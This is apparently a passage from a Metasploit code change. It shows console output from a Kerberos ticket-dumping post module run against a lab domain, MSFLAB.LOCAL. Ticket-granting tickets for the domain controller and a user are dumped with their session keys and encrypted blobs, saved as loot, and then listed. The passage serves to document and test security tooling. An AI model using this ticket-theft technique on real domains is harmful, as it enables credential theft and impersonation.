L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw== +[*] LogonSession LUID: 0x00001052b +[*] User: Window Manager\DWM-1 +[*] Session: 1 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Interactive (2) +[*] LogonTime: 2023-08-23 08:32:38 -0400 +[*] LogonSession LUID: 0x00000aa83 +[*] User: \ +[*] Session: 0 +[*] AuthenticationPackage: NTLM +[*] LogonType: UndefinedLogonType (0) +[*] LogonTime: 2023-08-23 08:32:27 -0400 +[-] Failed to call the authentication package. LsaCallAuthenticationPackage authentication package failed with: (0x00000520) ERROR_NO_SUCH_LOGON_SESSION: A specified logon session does not exist. It may already have been terminated. +[*] LogonSession LUID: 0x0000ae359 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:38:08 -0400 +[*] LogonSession LUID: 0x0000ae2d3 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:38:08 -0400 +[*] LogonSession LUID: 0x00004fff8 +[*] User: MSFLAB\smcintyre +[*] Session: 1 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Interactive (2) +[*] LogonTime: 2023-08-23 08:33:18 -0400 +[*] LogonSession LUID: 0x00004b823 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:33:17 -0400 +[*] LogonSession LUID: 0x00000b7c4 +[*] User: Font Driver Host\UMFD-0 +[*] Session: 0 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Interactive (2) +[*] LogonTime: 2023-08-23 08:32:37 -0400 +[*] LogonSession LUID: 0x0001f3e4f +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 09:42:34 -0400 +[*] Ticket[0] +[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135459_default_192.168.159.10_mit.kerberos.cca_126280.bin + Primary Principal: DC$@MSFLAB.LOCAL + Ccache version: 4 + + Creds: 1 + Credential[0]: + Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL + Client: DC$@MSFLAB.LOCAL + Ticket etype: 18 (AES256) + Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0 + Subkey: false + Ticket Length: 1006 + Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE) + Addresses: 0 + Authdatas: 0 + Times: + Auth time: 1969-12-31 19:00:00 -0500 + Start time: 2023-08-23 08:33:17 -0400 + End time: 2023-08-23 18:33:17 -0400 + Renew Till: 2023-08-30 08:33:17 -0400 + Ticket: + Ticket Version Number: 5 + Realm: MSFLAB.LOCAL + Server Name: krbtgt/MSFLAB.LOCAL + Encrypted Ticket Part: + Ticket etype: 18 (AES256) + Key Version Number: 2 + Cipher: + L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw== +[*] LogonSession LUID: 0x0001243b3 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:47:47 -0400 +[*] LogonSession LUID: 0x0000003e5 +[*] User: NT AUTHORITY\LOCAL SERVICE +[*] Session: 0 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Service (5) +[*] LogonTime: 2023-08-23 08:32:38 -0400 +[*] LogonSession LUID: 0x0000ae390 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:38:08 -0400 +[*] LogonSession LUID: 0x0000ae320 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:38:08 -0400 +[*] LogonSession LUID: 0x00000b7be +[*] User: Font Driver Host\UMFD-1 +[*] Session: 1 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Interactive (2) +[*] LogonTime: 2023-08-23 08:32:37 -0400 +[*] LogonSession LUID: 0x00000b76e +[*] User: Font Driver Host\UMFD-0 +[*] Session: 0 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Interactive (2) +[*] LogonTime: 2023-08-23 08:32:37 -0400 +[*] LogonSession LUID: 0x0000104e9 +[*] User: Window Manager\DWM-1 +[*] Session: 1 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Interactive (2) +[*] LogonTime: 2023-08-23 08:32:38 -0400 +[*] LogonSession LUID: 0x00000b77b +[*] User: Font Driver Host\UMFD-1 +[*] Session: 1 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Interactive (2) +[*] LogonTime: 2023-08-23 08:32:37 -0400 +[*] LogonSession LUID: 0x0000003e7 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Negotiate +[*] LogonType: UndefinedLogonType (0) +[*] LogonTime: 2023-08-23 08:32:26 -0400 +[*] Ticket[0] +[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_341258.bin + Primary Principal: DC$@MSFLAB.LOCAL + Ccache version: 4 + + Creds: 1 + Credential[0]: + Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL + Client: DC$@MSFLAB.LOCAL + Ticket etype: 18 (AES256) + Key: 810290bb8e930190000e05de7abee1f095bfe29527cca5ad9320cf3d86260f08 + Subkey: false + Ticket Length: 1006 + Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE) + Addresses: 0 + Authdatas: 0 + Times: + Auth time: 1969-12-31 19:00:00 -0500 + Start time: 2023-08-23 08:33:17 -0400 + End time: 2023-08-23 18:33:17 -0400 + Renew Till: 2023-08-30 08:33:17 -0400 + Ticket: + Ticket Version Number: 5 + Realm: MSFLAB.LOCAL + Server Name: krbtgt/MSFLAB.LOCAL + Encrypted Ticket Part: + Ticket etype: 18 (AES256) + Key Version Number: 2 + Cipher: + tLtOsjj8akj/iTEx/Kgidt9rW9sZ48SgEANNEpLhR1SmtI3/0e9Lq6oh35XWTKACrkFJGEOqSeBAaHwhArH2YyskGPadY2lL1qJI0zjhipeAZu4gWD4vpf2sKSL/ksOo9sthfxVMEVfq0QSxR37mPZwYI1LOyMcCOeckLGdHdlQCO7WwnbDpToyTq7TYzn13XmX0nyRFBIN436camSwYO/xRsWkhpVQKQIRgAjl7xCBMLT8/YGYangAASjBIxiXbXOtlj9zBwBjfA36cXz2yUp7MjC2kZLYI//xZZG1VVOa9nAG8vkkyi7GrXitG/m2X5s7YOG7XyvDOoC5yS7Yti+P2jGvPiWjAOSDmlwLolHSjeSIYCKwxK5Dm/LyMtUVtJRAb702FdI7lSH8oZCxQBQs92j3PKTBIMzz2+eY4r74Nemh+zIH86M4llhELhhyz86V9Utox9iURueY32LVieRIaTXmWXCGyopENrTt+LHPShBAk+Q8P3y+SGwVGxmm/CVKFN2R7IZNFiBxw627Vhw2pjFfVDjfsRV9mAvF6Axhks2aSO5rXZNZY1xW9iEbkRI3wnVYR9zgeSILxMNjyiVZvGFSllYnRWpDOqSe4n0/xw/ytD8gAHBYveBxzMPvTHN76Kcs1MGmhpsMdMBUo2UT4eeqBP//rXnuBtneb5maz0Ak+VwDZOf8Q76gcp66FIOGlRWPxpRgaCz2ISHeJ+istqRBm8gGbfqfHAbZM2PTzyyDHROuf3LgVyfhNUt8r7eYAgDCsfKBq6bq7O/KcQaBOfQN5yAgnt6CuAjyIqFaaXlsbQZ2D5s1p4WYUjrEpywWIoTQWLbCSYSAjOz+eYv50MQ3oE43hRQtg5eT0PCVmyG30VDfZDISq3Yj0hDMu20nuVuZ2cVvzccEBNgn9SRnQyYRRZQb6w9Zgs1/VYiY2SLZjmbYAo54TNDVJyseJ3Egl3Xp8BNccUkxZomgUOwP58q7XQk8lDzi4ApJMVJ0M8THDySVBJX2sB7oNn924fzghqW+wfzsXVnI2O9aLxzYnygHyp3h7ypt83sXyMTLD4tqEZ0DvcOvCoNnvis7VN8ZvvhLADoOxpJPALc8n+q70rfCdukZQpICUhLc16Z+JZJkGdAZtmi1Um+Cwy7lmBA+IvRp+abyklx19ulv55CbU7K8NAftJUOof/MgmAre+pOmwLofZgaSu7wVQ65fBeb8bjA== +[*] Ticket[1] +[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_389858.bin + Primary Principal: DC$@MSFLAB.LOCAL + Ccache version: 4 + + Creds: 1 + Credential[0]: + Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL + Client: DC$@MSFLAB.LOCAL + Ticket etype: 18 (AES256) + Key: 810290bb8e930190000e05de7abee1f095bfe29527cca5ad9320cf3d86260f08 + Subkey: false + Ticket Length: 1006 + Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE) + Addresses: 0 + Authdatas: 0 + Times: + Auth time: 1969-12-31 19:00:00 -0500 + Start time: 2023-08-23 08:33:17 -0400 + End time: 2023-08-23 18:33:17 -0400 + Renew Till: 2023-08-30 08:33:17 -0400 + Ticket: + Ticket Version Number: 5 + Realm: MSFLAB.LOCAL + Server Name: krbtgt/MSFLAB.LOCAL + Encrypted Ticket Part: + Ticket etype: 18 (AES256) + Key Version Number: 2 + Cipher: + tLtOsjj8akj/iTEx/Kgidt9rW9sZ48SgEANNEpLhR1SmtI3/0e9Lq6oh35XWTKACrkFJGEOqSeBAaHwhArH2YyskGPadY2lL1qJI0zjhipeAZu4gWD4vpf2sKSL/ksOo9sthfxVMEVfq0QSxR37mPZwYI1LOyMcCOeckLGdHdlQCO7WwnbDpToyTq7TYzn13XmX0nyRFBIN436camSwYO/xRsWkhpVQKQIRgAjl7xCBMLT8/YGYangAASjBIxiXbXOtlj9zBwBjfA36cXz2yUp7MjC2kZLYI//xZZG1VVOa9nAG8vkkyi7GrXitG/m2X5s7YOG7XyvDOoC5yS7Yti+P2jGvPiWjAOSDmlwLolHSjeSIYCKwxK5Dm/LyMtUVtJRAb702FdI7lSH8oZCxQBQs92j3PKTBIMzz2+eY4r74Nemh+zIH86M4llhELhhyz86V9Utox9iURueY32LVieRIaTXmWXCGyopENrTt+LHPShBAk+Q8P3y+SGwVGxmm/CVKFN2R7IZNFiBxw627Vhw2pjFfVDjfsRV9mAvF6Axhks2aSO5rXZNZY1xW9iEbkRI3wnVYR9zgeSILxMNjyiVZvGFSllYnRWpDOqSe4n0/xw/ytD8gAHBYveBxzMPvTHN76Kcs1MGmhpsMdMBUo2UT4eeqBP//rXnuBtneb5maz0Ak+VwDZOf8Q76gcp66FIOGlRWPxpRgaCz2ISHeJ+istqRBm8gGbfqfHAbZM2PTzyyDHROuf3LgVyfhNUt8r7eYAgDCsfKBq6bq7O/KcQaBOfQN5yAgnt6CuAjyIqFaaXlsbQZ2D5s1p4WYUjrEpywWIoTQWLbCSYSAjOz+eYv50MQ3oE43hRQtg5eT0PCVmyG30VDfZDISq3Yj0hDMu20nuVuZ2cVvzccEBNgn9SRnQyYRRZQb6w9Zgs1/VYiY2SLZjmbYAo54TNDVJyseJ3Egl3Xp8BNccUkxZomgUOwP58q7XQk8lDzi4ApJMVJ0M8THDySVBJX2sB7oNn924fzghqW+wfzsXVnI2O9aLxzYnygHyp3h7ypt83sXyMTLD4tqEZ0DvcOvCoNnvis7VN8ZvvhLADoOxpJPALc8n+q70rfCdukZQpICUhLc16Z+JZJkGdAZtmi1Um+Cwy7lmBA+IvRp+abyklx19ulv55CbU7K8NAftJUOof/MgmAre+pOmwLofZgaSu7wVQ65fBeb8bjA== +[*] LogonSession LUID: 0x0000003e4 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Service (5) +[*] LogonTime: 2023-08-23 08:32:37 -0400 +[*] Ticket[0] +[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135507_default_192.168.159.10_mit.kerberos.cca_909298.bin + Primary Principal: DC$@MSFLAB.LOCAL + Ccache version: 4 + + Creds: 1 + Credential[0]: + Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL + Client: DC$@MSFLAB.LOCAL + Ticket etype: 18 (AES256) + Key: b5c64f9aa85e1e31c9b17a28093bb39de235beeca53d844e10bbf4764cf7402e + Subkey: false + Ticket Length: 1006 + Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE) + Addresses: 0 + Authdatas: 0 + Times: + Auth time: 1969-12-31 19:00:00 -0500 + Start time: 2023-08-23 09:32:46 -0400 + End time: 2023-08-23 19:32:46 -0400 + Renew Till: 2023-08-30 09:32:46 -0400 + Ticket: + Ticket Version Number: 5 + Realm: MSFLAB.LOCAL + Server Name: krbtgt/MSFLAB.LOCAL + Encrypted Ticket Part: + Ticket etype: 18 (AES256) + Key Version Number: 2 + Cipher: + a5YMKhDbytSNzz+IqsxyXBURXqaCyVIpWDHu4E1wh0Q9MIVTXn163vkGYUz0X4LuxanqMXwttX8PdYI2V/Lxx6JcPzB50Jt0q4ffw0hsE/swVYEuRI8PyZl13DxE0wlGoaps9GC4l3xZM4nbqiAkPFneJQzrYgXcBWZ6ZlxJlQyGx7hOJLcsdU2KkqNOH8kRZrL/wkKNVKfHkDIkNPSkmYdSweZzuVce7v+yeNBOJpvK4odoE8ldWR6fhOGh5uSj5Fe2G+6ZG1IZREvnxMsqWQ/Ms3Os+1ZLZfH9l6sVi59MHufw98wxMFrKOBrceP0LkThwT29WXO3K3oCojYrSwLznMRKbKnUITRqzKT45a1wB/F556f4ova1GhUAmmlF7SxkGRlDuzh6c8zuKr91gaMQnzd1R95QSDl5xMP4HvWtz0N4bryhez8VbLlnUIFPdrhXtpOpp8Gp8cvEedwnmEmS7AUZyag8ohP40EgvtTXy8No8wuw0/imgIIhmRWlOvsTzUbRpoFMsNHS9h0+s6QhOyQdffMwqGea5c7inLpzJ2LofERlCvNrXVJpJ/+rkPGJasHzcnB216cFnSYuOUYzwIl9nSg1FY5jeOOOj5bcKptUuJonwldq/KJRKWq9io2bEJwOVwteBfRbz+E2KKShjWWMxS0sYhKLG1ZOUZtdLcUfwrwajexlJxM1aV48Y5yvDz7WWdxCOhNRmrjx2qmnOmbCNLgigJByqtcsUmeftfEZte5bdIWGECXOGFLsOdaLtUbW1mRPxDxHRuwTkcB4huzbtUk31pkljGDXp6LXUFOJD/IpJ3PNR6Xcf7jQ60QIkj99wT8xUHcNgJE/I9p8p5Y5EhgsY0KQOMu/OrFD0ah/VXoAl6vOS7INZXRrdVUFchBNKnRBX8aFBnIJ9pNjn1eLdGOrlpcd6HwCz9pCh9yJVs5kjxJWhOoyhOWWtNv/aghw0xPrvMTOTk8YRqe29hihpvHyMXJTKGTDvp6rkehWIC8G5/7XPcaeSuX6yKGUA6o6QaeTBLeiOHDH45AcapY12doQpxf7COrt31+U5xH6BxWwosp+I+axdf9cV63Z4lt2BToP5RZJvTIHe2gpn2trIuo40xkEQEMLKyvsI1frRG9hecUJzSXWXvTIkAwim54SY3rVcs6I6KUulNPyvXw2XVFCGSEb8XLfpl8zc3+gv7MB9Yv6T74M4rcF0guo62vQ== +[*] Ticket[1] +[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135508_default_192.168.159.10_mit.kerberos.cca_938606.bin + Primary Principal: DC$@MSFLAB.LOCAL + Ccache version: 4 + + Creds: 1 + Credential[0]: + Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL + Client: DC$@MSFLAB.LOCAL + Ticket etype: 18 (AES256) + Key: b5c64f9aa85e1e31c9b17a28093bb39de235beeca53d844e10bbf4764cf7402e + Subkey: false + Ticket Length: 1006 + Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE) + Addresses: 0 + Authdatas: 0 + Times: + Auth time: 1969-12-31 19:00:00 -0500 + Start time: 2023-08-23 09:32:46 -0400 + End time: 2023-08-23 19:32:46 -0400 + Renew Till: 2023-08-30 09:32:46 -0400 + Ticket: + Ticket Version Number: 5 + Realm: MSFLAB.LOCAL + Server Name: krbtgt/MSFLAB.LOCAL + Encrypted Ticket Part: + Ticket etype: 18 (AES256) + Key Version Number: 2 + Cipher: + a5YMKhDbytSNzz+IqsxyXBURXqaCyVIpWDHu4E1wh0Q9MIVTXn163vkGYUz0X4LuxanqMXwttX8PdYI2V/Lxx6JcPzB50Jt0q4ffw0hsE/swVYEuRI8PyZl13DxE0wlGoaps9GC4l3xZM4nbqiAkPFneJQzrYgXcBWZ6ZlxJlQyGx7hOJLcsdU2KkqNOH8kRZrL/wkKNVKfHkDIkNPSkmYdSweZzuVce7v+yeNBOJpvK4odoE8ldWR6fhOGh5uSj5Fe2G+6ZG1IZREvnxMsqWQ/Ms3Os+1ZLZfH9l6sVi59MHufw98wxMFrKOBrceP0LkThwT29WXO3K3oCojYrSwLznMRKbKnUITRqzKT45a1wB/F556f4ova1GhUAmmlF7SxkGRlDuzh6c8zuKr91gaMQnzd1R95QSDl5xMP4HvWtz0N4bryhez8VbLlnUIFPdrhXtpOpp8Gp8cvEedwnmEmS7AUZyag8ohP40EgvtTXy8No8wuw0/imgIIhmRWlOvsTzUbRpoFMsNHS9h0+s6QhOyQdffMwqGea5c7inLpzJ2LofERlCvNrXVJpJ/+rkPGJasHzcnB216cFnSYuOUYzwIl9nSg1FY5jeOOOj5bcKptUuJonwldq/KJRKWq9io2bEJwOVwteBfRbz+E2KKShjWWMxS0sYhKLG1ZOUZtdLcUfwrwajexlJxM1aV48Y5yvDz7WWdxCOhNRmrjx2qmnOmbCNLgigJByqtcsUmeftfEZte5bdIWGECXOGFLsOdaLtUbW1mRPxDxHRuwTkcB4huzbtUk31pkljGDXp6LXUFOJD/IpJ3PNR6Xcf7jQ60QIkj99wT8xUHcNgJE/I9p8p5Y5EhgsY0KQOMu/OrFD0ah/VXoAl6vOS7INZXRrdVUFchBNKnRBX8aFBnIJ9pNjn1eLdGOrlpcd6HwCz9pCh9yJVs5kjxJWhOoyhOWWtNv/aghw0xPrvMTOTk8YRqe29hihpvHyMXJTKGTDvp6rkehWIC8G5/7XPcaeSuX6yKGUA6o6QaeTBLeiOHDH45AcapY12doQpxf7COrt31+U5xH6BxWwosp+I+axdf9cV63Z4lt2BToP5RZJvTIHe2gpn2trIuo40xkEQEMLKyvsI1frRG9hecUJzSXWXvTIkAwim54SY3rVcs6I6KUulNPyvXw2XVFCGSEb8XLfpl8zc3+gv7MB9Yv6T74M4rcF0guo62vQ== +[*] LogonSession LUID: 0x00004ff91 +[*] User: MSFLAB\smcintyre +[*] Session: 1 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Interactive (2) +[*] LogonTime: 2023-08-23 08:33:18 -0400 +[*] Ticket[0] +[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135509_default_192.168.159.10_mit.kerberos.cca_783228.bin + Primary Principal: smcintyre@MSFLAB.LOCAL + Ccache version: 4 + + Creds: 1 + Credential[0]: + Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL + Client: smcintyre@MSFLAB.LOCAL + Ticket etype: 18 (AES256) + Key: 074bf82534302378dd8d8f911ddab2afbf64b32e8093e4fdd833e683e427c361 + Subkey: false + Ticket Length: 1052 + Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE) + Addresses: 0 + Authdatas: 0 + Times: + Auth time: 1969-12-31 19:00:00 -0500 + Start time: 2023-08-23 08:33:18 -0400 + End time: 2023-08-23 18:33:18 -0400 + Renew Till: 2023-08-30 08:33:18 -0400 + Ticket: + Ticket Version Number: 5 + Realm: MSFLAB.LOCAL + Server Name: krbtgt/MSFLAB.LOCAL + Encrypted Ticket Part: + Ticket etype: 18 (AES256) + Key Version Number: 2 + Cipher: + oRWAAGpgwUBqsOzC3Xq8U5cNzsuFjB0ZLIgml5HqoGPgRwMtaDs9YIPNGudWsIvu+zl1aAIY6bkw3ltzW4/Ay2IuqQXKAMVnaWhTLWMNYViyPX4lUw5vrOvR6fpshI3tx46aqXNO5hnHPmNg+zAP9nKwXNG4hj3WtdCM3NMaLGShnQhvt9RnN/rEHuOQGn9Uo+3fEO01juPq9PBMJ/HGhe6dLXWFaXUc7OscSTQ5LUTlz+ABdbz2G0wCleEJPJYsQEo0tC1XDcZRcTsMkgbrAxp3H3zQGubEmX3h36Fo2H6ftYT0NsjnU1z/keylopjV6v0aRADUnqfJs+DgevOBDF0Ccy8IRsDdDVlnxr4tK7QwOvFUuIWKEPsLM2eLesNC7yJWnkDyHiFns+PNaz1PSIoD+euNRHFqW+7cPJXro3r84UcEiukKbWrMbrkg/YSQcEr9yGikNuoWSzgYCtbMsSLBRO7JasRcSNL+p4Dc3+E5r2nWRoR9bZTQM4YM72/kzoaXXnXXuPVx2krpohGMNJIHXoQ6drqCNwYcdT/tGMoCY+BLe29/PAtywGK3Hiq3HhbDnQ8t1g63b7CTssT0edrKR72Bv/YveDn3XQ1iKNM4mot+UxGVjrStJTQ6eEp1r3ZTibSvVTn3T5E1Z3ljSyHYhIa8bGlh2Ysk2St3ZEv3emDwDXvPIGovbzkqE7NYQgPlh36siynCV2SUKj1bApWA7erk7fVTyM/swH7OFa+ekZ+J88F02fanFtvrxGOhKOBfYL50UAas5o+32cqgIrPlip6JXe3BZ2fpr71mcZo4YYzUxopFYbox3FdH95HdQVG7PNg93e3+2XvnrkWEc2md+UhYacKvMMBrXzGAz1d+ea/V3Yt2EgZc1WWAWoKVCfw6RUeTQVs2pWjq7j2APjhzjAEa4s543xgmT0jIHZnfkGzTwjM5f5mhj1KeFkff98pEQX+QjjBFnaRDnIkBmzRmAyJNzxjwAhiW/RNxYNYG3UOnpmxxV443vN3wr3e+MFvBG9azFlq36iWs+2jGNUuFTdH6RECf7/tNun+DE622vI1hIaBJLAHMHzdSIt9kLTQ+OzECGjH0QNRHHibwLhyR36UHShr/ei4/PO87kKw+ZVpb0rHNcICaT80MhCIGWLlH5SErAKQe/vOkDgqeLW+keCbZfW8F7QBXc6C9kUpzUQuIII7KvLKskbgwhqPhoVV70x9vFXWG1xSFwzPJdQmDRBanyQ0xoQFhmt2MO6lMRXTpheAAL+uBJOpgYWX5GBA= +[*] LogonSession LUID: 0x00004d345 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:33:18 -0400 +[*] LogonSession LUID: 0x00004bfb9 +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:33:17 -0400 +[*] Post module execution completed +msf6 post(windows/manage/kerberos_tickets) > klist +Kerberos Cache +============== +id host principal sname issued status path +-- ---- --------- ----- ------ ------ ---- +398 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135453_default_192.168.159.10_mit.kerberos.cca_948767.bin +399 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135459_default_192.168.159.10_mit.kerberos.cca_126280.bin +400 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_341258.bin +401 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_389858.bin +404 192.168.159.10 smcintyre@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:18 -0400 active /home/smcintyre/.msf4/loot/20230823135509_default_192.168.159.10_mit.kerberos.cca_783228.bin +402 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135507_default_192.168.159.10_mit.kerberos.cca_909298.bin +403 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135508_default_192.168.159.10_mit.kerberos.cca_938606.bin + +msf6 post(windows/manage/kerberos_tickets) > +``` diff --git a/lib/metasploit/framework/ldap/client.rb b/lib/metasploit/framework/ldap/client.rb 